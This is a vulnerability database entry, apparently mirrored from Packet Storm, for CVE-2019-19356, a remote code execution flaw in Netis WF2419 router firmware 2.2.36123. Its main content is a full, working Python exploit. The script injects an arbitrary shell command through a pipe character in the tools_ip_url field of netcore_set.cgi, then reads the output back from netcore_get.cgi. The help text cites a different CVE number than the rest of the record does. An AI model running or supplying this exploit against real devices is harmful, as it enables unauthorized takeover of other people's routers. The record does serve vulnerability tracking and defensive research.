ID

VAR-E-202003-0206


CVE

cve_id:CVE-2019-19356

Trust: 0.5

sources: PACKETSTORM: 156588

TITLE

Netis WF2419 2.2.36123 Remote Code Execution

Trust: 0.5

sources: PACKETSTORM: 156588

DESCRIPTION

Netis WF2419 version 2.2.36123 suffers from a remote code execution vulnerability.

Trust: 0.5

sources: PACKETSTORM: 156588

AFFECTED PRODUCTS

vendor:netismodel:wf2419scope:eqversion:2.2.36123

Trust: 0.5

sources: PACKETSTORM: 156588

EXPLOIT

# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution
# Exploit Author: Elias Issa
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75
# Date: 2020-02-11
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356

# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
# Send Payload
headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type': 'application/x-www-form-urlencoded'}
post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"
vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)
print('[+] Payload sent')
try :
json_data = json.loads(req_payload.text)
if json_data[0] == "SUCCESS":
print('[+] Exploit Sucess')
# Get Command Result
print('[+] Getting Command Output\n')
result_page = host + "/cgi-bin-igd/netcore_get.cgi"
post_data = "mode_name=netcore_get&no=no"
req_result = requests.post(result_page, data=post_data, headers=headers_value)
json_data = json.loads(req_result.text)
results = json_data["tools_results"]
print results.replace(';', '\n')
else:
print('[-] Exploit Failed')
except:
print("[!] You might need to login.")

# To be implemented
def login(user, password):
print('To be implemented')

def main():
host = args.host
cmd = args.cmd
user = args.user
password = args.password
#login(user,password)
exploit(host,cmd)

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
ap.add_argument("host", help="URL (Example: http://192.168.1.1).")
ap.add_argument("cmd", help="Command to run.")
ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
default="admin")
ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
default="admin")
args = ap.parse_args()
main()

Trust: 0.5

sources: PACKETSTORM: 156588

EXPLOIT HASH

LOCAL

SOURCE

md5: dbd50affdbcb32ab1bb41adb5453cfeb
sha-1: 61ddf83d1b286a09c15a8f16c01748cdacfaea8e
sha-256: 22aa5eac15aadbbbe2668ffb88c241e62f80f6a1ddc35e9f7c92e0c007312e6c
md5: dbd50affdbcb32ab1bb41adb5453cfeb

Trust: 0.5

sources: PACKETSTORM: 156588

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 156588

TYPE

code execution

Trust: 0.5

sources: PACKETSTORM: 156588

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:code execution

Trust: 0.5

sources: PACKETSTORM: 156588

CREDITS

Elias Issa

Trust: 0.5

sources: PACKETSTORM: 156588

EXTERNAL IDS

db:NVDid:CVE-2019-19356

Trust: 0.5

db:PACKETSTORMid:156588

Trust: 0.5

sources: PACKETSTORM: 156588

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2019-19356

Trust: 0.5

sources: PACKETSTORM: 156588

SOURCES

db:PACKETSTORMid:156588

LAST UPDATE DATE

2022-07-27T10:02:37.378000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:156588date:2020-03-02T15:31:43